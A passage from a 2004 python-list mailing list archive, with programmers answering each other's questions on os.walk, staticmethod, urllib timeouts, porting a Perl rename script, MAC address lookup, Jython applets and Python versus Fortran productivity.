arguments then the value of `arg' above should be ignored.  Instead,
the constructed object has the value 12.  Where is this 12 passed to
the object being constructed?  The only statement involved seems to be
the invocation of float.__init__ and there arg is said to be ignored.

Christoph
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From aahz at pythoncraft.com  Wed Feb 25 21:36:07 2004
From: aahz at pythoncraft.com (Aahz)
Date: 25 Feb 2004 21:36:07 -0500
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<dOD_b.73966$Wa.29376@news-server.bigpond.net.au>
	<m3ishwhdb3.fsf@pc150.maths.bris.ac.uk>
	<8ab0589d.0402251718.5b728a3@posting.google.com>
Message-ID: <c1jm2n$q9k$1@panix3.panix.com>

In article <8ab0589d.0402251718.5b728a3 at posting.google.com>,
Brett C. <brett at python.org> wrote:
>Michael Hudson <mwh at python.net> wrote in message news:<m3ishwhdb3.fsf at pc150.maths.bris.ac.uk>...
>> 
>> Um, the article as posted to clpy is hasn't been through docutils
>> yet... if the mere fact of formatting it as reST caused encoding
>> problems, that would indeed be a mysterious and deep effect.
>> 
>> Brett's mail contains a header:
>> 
>> X-MIME-Autoconverted: from 8bit to quoted-printable by
>> 	war.OCF.Berkeley.EDU id i1O1oOqk029956
>> 
>> I'd be inclined to blame that.
>
>So would I.  =)  Damn it, that is upsetting.  I save the text in UTF-8
>and reST handles it fine (as Michael points out below, it shows up
>find in the HTML version).  Aahz has suggested using another SMTP
>server for sending out the Summary, but that is a pain in the rear.

<raised eyebrow>  How's it a pain?  Just write a Python script that does
an scp of the file to creosote, then rsh/ssh to run another Python script
on creosote that does the mailing.  <evil grin>
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From reply.in.the.newsgroup at my.address.is.invalid  Thu Feb 26 13:35:00 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Thu, 26 Feb 2004 19:35:00 +0100
Subject: How to obscure a password
References: <mailman.164.1077801277.8594.python-list@python.org>
	<403e3561$0$4100$5a6aecb4@news.aaisp.net.uk>
Message-ID: <30fs30l91frpbehnkeq02lsqb5ruepf99n@4ax.com>

John Burton:
>Batista, Facundo wrote:
>> I'm doing a small program, in which the user will have the option 
>> to enter his/her password everytime, or just save it (to a file).

>Probably your best method is to [...] use AES or DES3 or similar 
>to encrypt the passwords. Of course you then have to keep the 
>encryption keyt secure 

No problem. Just ask the user to enter it everytime :-)

-- 
Ren? Pijlman


From mwh at python.net  Tue Feb 24 09:55:30 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 24 Feb 2004 14:55:30 GMT
Subject: How can i get the parameternames of a non documented function ?
References: <2d0e7cf4.0402230929.74d0e208@posting.google.com>
	<m365dwh9jn.fsf@pc150.maths.bris.ac.uk>
	<pan.2004.02.24.14.36.03.687230@jeremysanders.net>
Message-ID: <m3y8qsfrx9.fsf@pc150.maths.bris.ac.uk>

Jeremy Sanders <jeremy+plusnews at jeremysanders.net> writes:

> On Tue, 24 Feb 2004 13:49:33 +0000, Michael Hudson wrote:
> 
> > hilfmir at gmx.at (mzo) writes:
> >> I import a module (wrapped from c code) and have no documentation of
> >> it. How can i find out the name of the parameters / head of the
> >> functions ?
> > 
> > You can't.  Sorry.
> 
> Is that correct?

Yes.

> Couldn't you use inspect.getargspec(func) ?

Try it.

> It doesn't say you can't use it on wrapped C code.

Well, that means the docs are wrong.

Cheers,
mwh

-- 
  Or here's an even simpler indicator of how much C++ sucks: Print
  out the C++ Public Review Document.  Have someone  hold it about
  three feet  above your head and then drop it.  Thus  you will be
  enlightened.                                        -- Thant Tessman


From mwh at python.net  Wed Feb 11 10:20:23 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 11 Feb 2004 15:20:23 GMT
Subject: error: 'staticmethod' object is not callable
References: <mailman.1458.1076494925.12720.python-list@python.org>
	<c0d3tc$nsg$03$1@news.t-online.com>
	<mailman.1461.1076509269.12720.python-list@python.org>
Message-ID: <m31xp13ao8.fsf@pc150.maths.bris.ac.uk>

Michal Vitecek <fuf at mageo.cz> writes:

> Peter Otten wrote:
> >You are wrapping method2() twice:
> >
> >class A(object):
> >    def method(parA):
> >        print "in A.method()"
> >    method = staticmethod(staticmethod(method))
> >
> >A.method("first")
> >
> >Why would you expect this to work?
> 
>  i don't expect this to work. i just don't get it why python allows this
>  double wrapping of a method. it cannot be used for anything reasonable,
>  can it?

Hmm, in Python 2.3 the classmethod constructor checks its argument for
callability, but the staticmethod constructor doesn't seem to.  I
guess this is just oversight...

Cheers,
mwh

-- 
59. In English every word can be verbed. Would that it were so in
    our programming languages.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From tim.one at comcast.net  Wed Feb 25 08:52:49 2004
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 25 Feb 2004 08:52:49 -0500
Subject: os.walk walks too much
In-Reply-To: <403C9786.1040903@attglobal.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEAJJCAB.tim.one@comcast.net>

[Marcello Pietrobon]
> I am using Pyton 2.3
> I desire to walk a directory without recursion
>
> this only partly works:
> def walk_files() :
>     for root, dirs, files in os.walk(top, topdown=True):
>         for filename in files:
>             print( "file:" + os.path.join(root, filename) )
>         for dirname in dirs:
>              dirs.remove( dirname )
> because it skips all the subdirectories but one.

Mutating a container while iterating over the container is usually a recipe
for consfusion.  You do need to mutate dirs, but the right way to empty it
here is a one-liner:

    del dirs[:]

or

    dirs[:] = []


> this *does not* work at all
> def walk_files() :
>     for root, dirs, files in os.walk(top, topdown=True):
>         for filename in files:
>             print( "file:" + os.path.join(root, filename) )
>         dirs = []

That doesn't *mutate* (the value bound to) dirs, it just rebinds (the local
name) dirs to an entirely new object, so has no effect on the list of
directory names os.walk() gave to you (it's the list object that matters,
not the name).




From seberino at spawar.navy.mil  Tue Feb 10 18:14:35 2004
From: seberino at spawar.navy.mil (seberino at spawar.navy.mil)
Date: Tue, 10 Feb 2004 15:14:35 -0800
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
	warning: ISO C89 does not support `long long'
In-Reply-To: <16425.25330.886172.548459@montanaro.dyndns.org>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
Message-ID: <20040210231435.GB15796@spawar.navy.mil>

Skip

Thanks for the help.
I agree.  Perhaps I'm being "pedantic" :) but I was just
curious if Python source is using stuff that is NOT ANSI C.

Is "long long" an extension of ANSI C? That Python uses?

Chris

On Tue, Feb 10, 2004 at 05:02:10PM -0600, Skip Montanaro wrote:
>
>     Chris> c extension compilation gives this gripe about python itself with
>     Chris> -Wall and -pedantic switches -->
>     Chris> /usr/include/python2.2/longobject.h:48: warning: ISO C89 does not
>     Chris> support `long long'
>
>     Chris> Is there any way to avoid this?
>
> Sure.  Get rid of the -pedantic switch...
>
> Skip
>

--
_______________________________________

Christian Seberino, Ph.D.
SPAWAR Systems Center San Diego
Code 2872
49258 Mills Street, Room 158
San Diego, CA 92152-5385
U.S.A.

Phone: (619) 553-9973
Fax  : (619) 553-6521
Email: seberino at spawar.navy.mil
_______________________________________



From theller at python.net  Wed Feb  4 14:36:11 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 04 Feb 2004 20:36:11 +0100
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
Message-ID: <hdy6d4d0.fsf@python.net>

Brian <balex at sympatico.ca> writes:

> Hello;
>
> Is it possible to get an object to return the number of references there
> are to itself?
>
> Ex:
>
> class test(object):
>  pass
>
> a = test()
> b = a
>
> # Should print "2", if I knew the name of the method.
> print a.refCount()
>

In Python debug builds, there's the sys.getrefcount() function.

Thomas


From martin at v.loewis.de  Mon Feb  9 01:47:51 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 07:47:51 +0100
Subject: question about python "casting"
In-Reply-To: <mailman.1359.1076304662.12720.python-list@python.org>
References: <mailman.1359.1076304662.12720.python-list@python.org>
Message-ID: <c07aem$hus$01$1@news.t-online.com>

sang park wrote:
> name :
> Traceback (most recent call last):
>   File "ProjectParser.py", line 63, in ?
>     print "name : ", p.name
> AttributeError: 'NoneType' object has no attribute 'name'
> 
> i was wondering what the proper way to accomplish this would be.  any help
> would be appreciated.

Could it be that you have been executing a code different from
the one you were posting? In your posted code, you have a variable
called "proj", whereis from your exception, it appears the variable
is called "p".

>     if nodes.nodeType == nodes.ELEMENT_NODE:
>         datanodes = info.childNodes
>         dataStr = getText(datanodes)
> #        print info.nodeName, ":", dataStr
>         if dataStr == "name":
>             project.name = dataStr
>         if dataStr == "email":
>             project.email = dataStr
>         if dataStr == "admin":
>             project.admin = dataStr
>         if dataStr == "description":
>             project.description = dataStr

It is unlikely that this does what you want: Most likely, you
have elements "name", "email", etc in your XML document.
You need to look at some node's nodeName, to find out whether
it is a "name" node - looking at the text inside the node
won't help.

E.g. in your code above, if dataStr equals "email", you do

project.email = dataStr

Since dataStr is email, this is the same as

project.email = "email"

which is not what you want.

Regards,
Martin



From michele.simionato at poste.it  Fri Feb 13 12:52:53 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 13 Feb 2004 09:52:53 -0800
Subject: Multiply a tuple by a constant
References: <1d17eeb7.0402130220.7258a5bd@posting.google.com>
Message-ID: <95aa1afa.0402130952.5f650ab6@posting.google.com>

dj00302003 at yahoo.com (Jay Davis) wrote in message news:<1d17eeb7.0402130220.7258a5bd at posting.google.com>...
> I often need to multiply a tuple by a
> constant and the methods I use now are
> not very pretty.  The idea is to get a
> new tuple that is some factor times the
> start tuple, like  'newtup = .5 * oldtup'.
> 
> Is there a slick way to do this?

You can always subclass tuple and redefine "*". Dunno if you would
consider it slick enough.

   Michele


From lebel at lebel.org  Wed Feb 18 12:25:27 2004
From: lebel at lebel.org (David Lebel)
Date: Wed, 18 Feb 2004 12:25:27 -0500
Subject: regular expressions and renaming files
Message-ID: <20040218172527.GE30614@lebel.org>

Hi,

as a way to teach myself Perl, I started to convert my toolbox of
scripts from (mostly) Perl to Python.  One script I had in my toolbox
was used to rename files using a regular expression.  That script came
from Tom Christiansen (of Perl fame) and shows the great flexibility of
Perl doing regular expression operations.

Now, I don't know where to start doing the conversion.

Any insights?

#!/usr/bin/env perl

# Tom Christiansen <tchrist at convex.com>, in alt.sources, 90-12-08.
# Modified by Fran?ois Pinard <pinard at iro.umontreal.ca>, 91-04-19.
#
# rename script examples from lwall:
#	rename 's/\.orig$//' *.orig
#	rename 'y/A-Z/a-z/ unless /^Make/' *
#	rename '$_ .= ".bad"' *.f
#	rename 'print "$_: "; s/foo/bar/ if <stdin> =~ /^y/i' *

$operation = shift;
for (@ARGV)
{
    $previous = $_;
    eval $operation;
    die $@ if $@;
    if ($previous ne $_)
    {
	if (-f $_)
	{
	    warn "$0: $_ already exists\n";
	}
	else
	{
	    rename($previous, $_)
		|| warn "$0: can't rename $previous to $_: $!\n";
	}
    }
}

-- 
// david lebel <lebel@{lebel.org,nobiaze.com,openbsd.org}> //
// http://www.lebel.org/           http://www.nobiaze.com/ //
// pgp: 3633 6999 D47E 73ED 099F  4341 08A4 8E48 EF56 61D1 //




From tjreedy at udel.edu  Sat Feb 14 11:15:41 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 14 Feb 2004 11:15:41 -0500
Subject: Generating and printing a range of ip addresses
References: <20040214073612.19320.qmail@web60910.mail.yahoo.com>
Message-ID: <c0lhjd$35u$1@sea.gmane.org>


"Stephen Briley" <sdb1031 at yahoo.com> wrote in message
news:20040214073612.19320.qmail at web60910.mail.yahoo.com...

Major problem is bug in *your* code, minor problem is buglet in
IPv4.__cmp__.

> >>> from ipv4 import *
> >>> ip = IPv4('10.0.0.1')
> >>> startadd = ip.nexthost()
> >>> endadd = ('10.0.3.0')

You forgot IPv4 call, so endadd is str, not IPv4 instance!  endadd =
IPv4('10.0.3.0')

> >>> print startadd
> 10.0.0.2
> >>> print endadd
> 10.0.3.0
>
> >>> while startadd != endadd:
> ... startadd = ip.nexthost()
> ... print startadd
> ...
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\Python23\lib\ipv4.py", line 250, in __cmp__
>     return cmp(self._address, other._address)
> AttributeError: 'str' object has no attribute '_address'

IPv4 should arguably catch mismatch and give better error message.  Suggest
to IPv4 author that 'he' replace above with something like

    if isinstance(other, IPv4):
        return cmp(self._address, other._address)
    else:
        raise TypeError('Can only compare IPv4 instance to another
another')

He could use try/except/raise, but this would allow probably nonsensical
comparisons with non-IPv4 objects with _address attribute.

Terry J. Reedy







From mwh at python.net  Wed Feb 25 06:58:04 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 11:58:04 GMT
Subject: Linguistically correct Python text rendering
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
	<mailman.33.1077633885.8594.python-list@python.org>
	<opstad-5EF6C3.14552924022004@news-central.ash.giganews.com>
Message-ID: <m3u11ffk1f.fsf@pc150.maths.bris.ac.uk>

David Opstad <opstad at batnet.com> writes:

> In article <mailman.33.1077633885.8594.python-list at python.org>,
>  "Mike Maxwell" <maxwell at ldc.upenn.edu> wrote:
> 
> > Isn't this a function of whatever app you're running Python code inside (a
> > terminal or something)?  E.g. could you take the output of your Python
> > program as a file and display it in Yudit or a Pango app?
> 
> In an interactive Python session on the Mac, the terminal window can 
> display Asian or accented Latin with no problem, so that:
> 
> >>> firstCJKChar = u"\u4e00"
> >>> print firstCJKChar.encode('utf-8')
> 
> gives the correct output, the Chinese character "yi". (The terminal's 
> defaults are for UTF-8 text display)

But it seems to be impossible to programmatically determine which
encoding the terminal being printed to at a given moment is using (and
the user can fiddle this at run time).  If I'm wrong about this, I'd
like to know.

> All I'm wondering is whether this odd asymmetry (between parts of 
> Unicode that display correctly with no further work and parts of Unicode 
> that need more active processing) is something that could be addressed 
> by adding more sophistication to Python's own output formatting. 

I don't think so.  Depends a bit what you mean by "Python's own output
formatting".  Since, 2.3 Python if sys.stdout is a terminal it
attempts to determine the encoding in use via the
"locale.nl_langinfo(locale.CODESET)" approach, but whether this
actually works seems to be a bit random.  It certainly isn't going to
work on Mac OS X, which AFAICT ignores locales as much as the ISO C
standard lets it get away with.

What more would you have us do?

If you're using some other means to display Unicode text, it's up to
that means to ensure it gets displayed correctly.  For PyObjC, It Just
Works, I think.

Cheers,
mwh

-- 
  Academic politics is the most vicious and bitter form of politics,
  because the stakes are so low.                      -- Wallace Sayre


From eric.brunel at N0SP4M.com  Fri Feb 13 11:26:36 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Fri, 13 Feb 2004 17:26:36 +0100
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
Message-ID: <c0itcq$hno$1@news-reader1.wanadoo.fr>

Elaine Jackson wrote:
> I'm about to tackle tkinter, but here's the thing: The only kind of GUI I want
> to work on is a chessboard (an 8x8 grid of images that can be "moved around").
> So before I start, I'm asking the room at large: Is there some way of going
> directly to what I'm interested in? Any help will be very much appreciated.

If you don't already have it, download the source distribution of Python and go 
to the Demo/tkinter/matt sub-directory. There are many examples here that you 
can use to do what you want; see for example canvas-moving-w-mouse.py

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From http  Wed Feb 18 15:09:22 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 12:09:22 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<KhKYb.15131$aH3.495341@bgtnsc04-news.ops.worldnet.att.net>
	<7xsmh8qq08.fsf@ruckus.brouhaha.com>
	<vjPYb.16012$aH3.519874@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <7x1xos880d.fsf@ruckus.brouhaha.com>

"Andrew Koenig" <ark at acm.org> writes:
> I think that reserving "break" for abnormal situations makes
> programs easier to understand.  

Nah, abnormal conditions are what "raise" is for.

> Therefore, I would like a way of saying that I expect the normal
> exit (or exits) from the loop to be in the middle.  Whether you
> consider this desire to be part of the real world is up to you.

But just looking at those code samples, they're either harder to
understand than using break, or else easily replaced by some other
construct.  Is there a middle ground?  Maybe, but I haven't seen a
concrete example yet.


From gcash at cfl.rr.com  Thu Feb 19 22:17:15 2004
From: gcash at cfl.rr.com (gcash)
Date: Fri, 20 Feb 2004 03:17:15 GMT
Subject: jython: how do you exit an applet early?
Message-ID: <wu6ijv7f.fsf@cfl.rr.com>

I've written an applet using Java3D for rendering, which works fine if
you have Java3D installed, of course.

What I want to do is try to import the Java3D libraries and bail with an
error message to the user if they're not there.

You can't do "raise SystemExit" or "sys.exit(0)" because both of those
try to kill the browser's Java VM, which a) raises a security exception
and b) isn't what I want anyway.

A "return" statement does the trick as an applet, but raises a
"SyntaxError: 'return' outside function" and doesn't even run when using
Jython from the command line to test things. (It shouldn't work as an
applet, but at this point I was just randomly trying things in
desperation.)

What SHOULD I be doing?

This is the code I'm using:

try:
    # Java3D libraries
    from com.sun.j3d.utils.applet import MainFrame
    from com.sun.j3d.utils.behaviors.vp import *
    from com.sun.j3d.utils.image import *
    from com.sun.j3d.utils.universe import *
    from javax.media.j3d import *
    from javax.vecmath import *
except:
    # Deal gracefully with Java3D not being installed
    class GearBox(Applet):
        def init(self):
            self.add(Label('Java3D is not properly installed.', Label.CENTER))
    if __name__ == '__main__':
        # Not running as an applet
        print 'Java3D is not properly installed.'
        raise SystemExit
    else:
        # SyntaxError: 'return' outside function
        return


My email is gcash AT cfl.rr.com, but please post your reply to the group.

-- 
I just like saying "chlorine pentafluoride"


From dahl at molgen.mpg.de  Thu Feb 26 06:24:33 2004
From: dahl at molgen.mpg.de (Andreas Dahl)
Date: Thu, 26 Feb 2004 12:24:33 +0100
Subject: configure 'time out' time for urllib
Message-ID: <403DD771.F58FBF24@molgen.mpg.de>

Hi,

I use urllib to retrieve data via HTTP. Unfortunately my program crashes
after a while (after some loops) because the connection timed out.

raise socket.error, msg
IOError: [Errno socket error] (60, 'Connection timed out')

I am not so familiar with python, but is there a possibility to
configure the 'waiting time'? Or how can I handle such an event? To skip
that query and go to the next one would also work.

Many thanks in advance, Andreas

code:
    params = urllib.urlencode({'rs': rs})
    try:
        file =
urllib.urlopen("http://www.ncbi.nlm.nih.gov/SNP/snp_ref.cgi?%s" %
params)
    except IOError, message: # file open failed
        print >> sys.stderr, "File could not be opend:", message
        sys.exit(1)
    data = file.readlines() # array with html-doc-content
    file.close()



From NAIGIMSESRIMAIL at gims.com  Wed Feb 25 12:21:39 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 25 Feb 2004 19:21:39 +0200
Subject: ALERT -  GroupShield ticket number OB12_1077729694_ESRIMAIL_3 was
	generated
Message-ID: <B06B8FEF47ACD7119E720040F4284591021249A2@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list <python-list at python.org>

From:
Dave Brueck <dave at pythonapocrypha.com>

Sent:
-788667648,29621187

Subject:
Re: test for raw string

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From rogerb at rogerbinns.com  Tue Feb 24 21:27:54 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Tue, 24 Feb 2004 18:27:54 -0800
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>	<mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
	<403BF010.2020409@stackless.com>
Message-ID: <007601c3fb46$f917b9b0$3501a8c0@rogersqyvr14d3>

> This is why I developed Stackless Python.
> It behaves in a similar way, acting like many callbacks,
> but you +write* your code in the most natural way possible.
> In a way, Stackless takes all the clumsy state keeping stuff
> away from the programmer and frees his mind to write simple
> top-down programs with no callbacks.

I certainly agree with that and really like your examples.

However my code also has to use wxPython, win32all, pySerial, M2Crypto
and libusb.  I have no idea if all those are integrated correctly with 
Stackless (and work correctly on Linux, Windows and Mac), but I was
certainly not going to be the first person to find out.  And I would
still have to have fixed xmlrpc client/server portions to reuse
connections properly anyway.

Roger



From ptmcg at users.sourceforge.net  Thu Feb 12 11:15:35 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Thu, 12 Feb 2004 16:15:35 GMT
Subject: Word count from file help.
References: <oiAWb.9926$jk2.28236@attbi_s53>
Message-ID: <HENWb.8393$ng6.3610@fe2.texas.rr.com>

"jester.dev" <jester.dev at comcast.net> wrote in message
news:oiAWb.9926$jk2.28236 at attbi_s53...
> Hello,
>
>         I'm learning Python from Python Bible, and having some
> problems with this code below. When I run it, I get nothing. It
> should open the file poem.txt (which exists in the current
> directory) and count number of times any given word appears
> in the text.
>
Try this:

# wordCount.py
#
# invoke using:   python wordCount.py  <filename>
#
from pyparsing import Word, alphas
import sys

# modify this word definition as you wish - whitespace is implicit separator
wordSpec = Word(alphas)

if len(sys.argv) > 1:
    infile = sys.argv[1]

    wordDict = {}
    filetext = "\n".join( file(infile).readlines() )
    for wd,locstart,locend in wordSpec.scanString(filetext):
        #~ curWord = string.lower(wd[0])
        curWord = wd[0].lower()
        if wordDict.has_key( curWord ):
            wordDict[curWord] += 1
        else:
            wordDict[curWord] = 1

    print "%s has %d different words." % ( infile, len(wordDict.keys()) )
    keylist = wordDict.keys()
    keylist.sort( lambda a,b:
                    ( wordDict[b] - wordDict[a] ) or
                    ( ( ( a > b ) and 1 ) or ( ( a < b ) and -1 ) or 0 ) )
    for k in keylist:
        print k, ":", wordDict[k]




From holbertr at dma.org  Mon Feb  2 13:16:16 2004
From: holbertr at dma.org (Rick Holbert)
Date: Mon, 02 Feb 2004 13:16:16 -0500
Subject: How to get my MAC address with python ?
References: <bvlocd$37u$1@news.univ-rennes1.fr>
Message-ID: <bvm0lk$5us$1@charm.magnus.acs.ohio-state.edu>

olivier Ravard wrote:

> Hi,
> 
> I want to know the MAC address of my local network card with a python
> script.
> I tested the socket module which gives only the IP address.
> Is someone have an idea ?

Here's a url where Mark Hammond explains how to do it on Windows:

http://groups.google.com/groups?oi=djq&selm=an_603363272

On Linux you can parse the output of the ifconfig command as described in
following url:

http://mail.python.org/pipermail/python-list/1999-August/008816.html



From g2h5dqi002 at sneakemail.com  Wed Feb 18 21:27:08 2004
From: g2h5dqi002 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 19 Feb 2004 15:27:08 +1300
Subject: Unicode operators? (Re: Custom operator)
In-Reply-To: <ad052e5c.0402061757.2f896ad6@posting.google.com>
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>	<20040205220748.GA8055@nl.linux.org>	<6.0.1.1.0.20040206074906.02624b30@www.mails.lu>
	<mailman.1296.1076064694.12720.python-list@python.org>
	<ad052e5c.0402061757.2f896ad6@posting.google.com>
Message-ID: <c116tu$1ak718$1@ID-169208.news.uni-berlin.de>

Dan Bishop wrote:
> There are still three ASCII characters that aren't used in Python:
> '@', '$', and '?'.  I don't see any obvious mathematical meaning for
> them, though.

There was an idea floating around a while back to define
'@' as matrix multiplication, so the Numeric people could
use it. Hasn't happened yet, though.

Hmmm... Now that we can have Unicode source, maybe any
otherwise-unused Unicode punctuation character could be
allowed as an operator. The corresponding method name
would be character's Unicode name with double underscores
attached.

There's the problem of precedence... maybe that could
be defined by the Unicode collating sequence... :-)

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From pinard at iro.umontreal.ca  Mon Feb 23 08:13:51 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 23 Feb 2004 08:13:51 -0500
Subject: Where can I post a new debugger?
In-Reply-To: <698f09f8.0402222237.25dcec2e@posting.google.com>
References: <mailman.160.1077453987.27104.python-list@python.org>
	<6ee58e07.0402221348.46171b05@posting.google.com>
	<40392479@news.bezeqint.net>
	<mailman.176.1077492929.27104.python-list@python.org>
	<698f09f8.0402222237.25dcec2e@posting.google.com>
Message-ID: <20040223131351.GA2230@titan.progiciels-bpi.ca>

[Jeremy Fincher]

> I think a URL, when linked to an explanatory page (such as the one he
> linked to), is a great explanation.  Why should he have to say the
> same thing twice (on usenet and then again on the webpage) because
> you're too lazy to click a link?

Every single day, I receive hundreds of suggestions to visit various
URLs.  Spambayes is a great tool for filtering most of these out.  I've
been on mailing lists where people had this habit of sending messages
holding URLs, probably with the feeling of distributing pieces of cake.
Most of the times, in my opinion, they were not even worth following.

It is not a question of being lazy, but to make better use of our time,
a resource which is much in demand for many of us.  I rather think the
laziness is on the shoulders of the guys who publish these unexplained
URLs, as they would rather have hundreds of people starting a browser,
than providing a short explanation themselves.

It happens that maintainers broadcast announcement for new releases,
describing solved bugs in detail, telling where the archive or the Web
site is, while failing to provide one or two sentences describing what
the package does.  This is usually an oversight much more than laziness
or bad will, as these maintainers are working so deep in their own
packages, it is so evident for them, that they forget that it may not be
on the mind of each and every reader of the mailing list.

P.S. - Here is another issue, only slightly related.  There is a very
sad trend I observe growing since many years, in which maintainers tend
to over-praise their own time, and more or less despise the time of
their possible contributors.  They ask users to first spouse their work
methods, each maintainer its own set, of course.  This has the effect of
creating religions around packages.  Some maintainers even like that :-).

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From paul at prescod.net  Wed Feb 18 08:59:03 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 05:59:03 -0800
Subject: Python Productivity Gain?
In-Reply-To: <36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <40336FA7.8090405@prescod.net>

Matthias wrote:

>...
> 
> A more scientific approach would be: Take a language X, build variants
> X-with-OOP, X-with-static-typing, X-with-funny-syntax and let
> developers use it under controlled settings.  Watch them.  Generate
> bug statistics.  Look for differences.  Try to explain them.  This
> would be hard work, difficult to do and expensive.  But I expect this
> approach would find better [1] languages faster.  The benefits might
> be substantial.

And what would the business model for this endeavor be?

The main business model for language development these days is battling 
for control of developers. Sun tries to woo them to portable code with 
Java and Microsoft tries to pull them back to Windows with C#.

Productivity is just a marketing checkbox for the people writing the 
cheques.

Even people like ESR and RMS use languages as ideological tools: "Open 
Java or Python will stomp you" and "Make Python GPL-compatible or we 
can't recommend it for GNU projects.

  Paul Prescod





From claird at lairds.com  Thu Feb 19 09:20:34 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 19 Feb 2004 14:20:34 -0000
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<3064b51d.0402181326.1b046f29@posting.google.com>
Message-ID: <1039hhilrs4rb5@corp.supernews.com>

In article <3064b51d.0402181326.1b046f29 at posting.google.com>,
 <beliavsky at aol.com> wrote:
			.
			.
			.
>My main other language is Fortran 95. For simple text analysis or
>"database" programming (sorting a list, merging two lists etc.),
>programming in Python is much faster, since more functionality is
>built-in and the code is generic. If you write a sorting routine in
>Python, it will work for lists with any type of elements (int's,
>real's etc).
>
>For numerical work, I still prefer Fortran 95 to Numeric Python.
>Genericity is not as important here, and in any case a single Fortran
>95 code can be written to do a calculation in single, double, or
>quadruple precision, using the KIND feature. Fortran 95, properly
>used, is safer than Python, because (for example)
>1. function interfaces are checked at compile time
>2. constants can be declared
>3. the DO loop is more restrictive -- the looping variable cannot be
>changed inside the loop
>
>Well-written numerical F95 code is clearer to me than comparable
>Python code because one can specify what input arguments of a function
>will not be changed (using the INTENT(IN) feature) and what the
>dimensions of all arguments are. It's also clear from reading the
>declarations what the function is returning, whereas a Python function
>can return anything, depending on how it is executed.
>
>There are several independent implementations of languages like C++
>and Fortran on both Linux and Windows. I don't think this is true for
>Python. They create stand-alone executables that don't require an
>interpreter on the target computer. Their language committees are
>unlikely to make changes that break old code, as the prospective
>change in Python's integer division will do.
>
>I do like Python, but no language is a panacea. I think Python should
>add some OPTIONAL safety features.

These are good points to raise.

Fortran's my first language.  I have little opportunity nowadays to
exercise it, much as I'd like to do so.  I'm certainly not as current
with it as you.

When I read, "It's also clear from reading the declarations what the
function is returning ...", I take it that you have in mind such 
distinctions as FLOAT vs. INT.  Reasoning about types is a *frequent*
topic of discussion in comp.lang.python.  I'll summarize my experience
this way:  FLOAT vs. INT (and so on) takes little of my day-to-day
attention.  I focus on unit tests and coding which is semantically
transparent in a more comprehensive way than just type-correctness.
Therefore, while I acknowledge the advantages you describe for Fortran,
I categorize them mostly as, "no big deal".

There are a few other factual clarifications I hope I can contribute.
Perhaps most important is to recommend "dual-level" programming; it's
eminently feasible to *combine* Fortran and Python.  I think of language
choice in a connected, rather than discrete, space; my alternatives
are not 1.0 Python vs. 1.0 Fortran, but 1.0 Fortran vs. (0.6 Fortran,
0.4 Python) vs. ...

While there's only one "independent" implementation of Python, in the
strictest sense, it's frankly impressive how many *distinct* implemen-
tations there are <URL:
http://phaseit.net/claird/comp.lang.python/python_varieties.html >.
In particular, I think you'll have an interest in the performance-
enhancing Psyco and the "compilers" which produce stand-alone 
executables.  Perhaps you hadn't encountered them before.

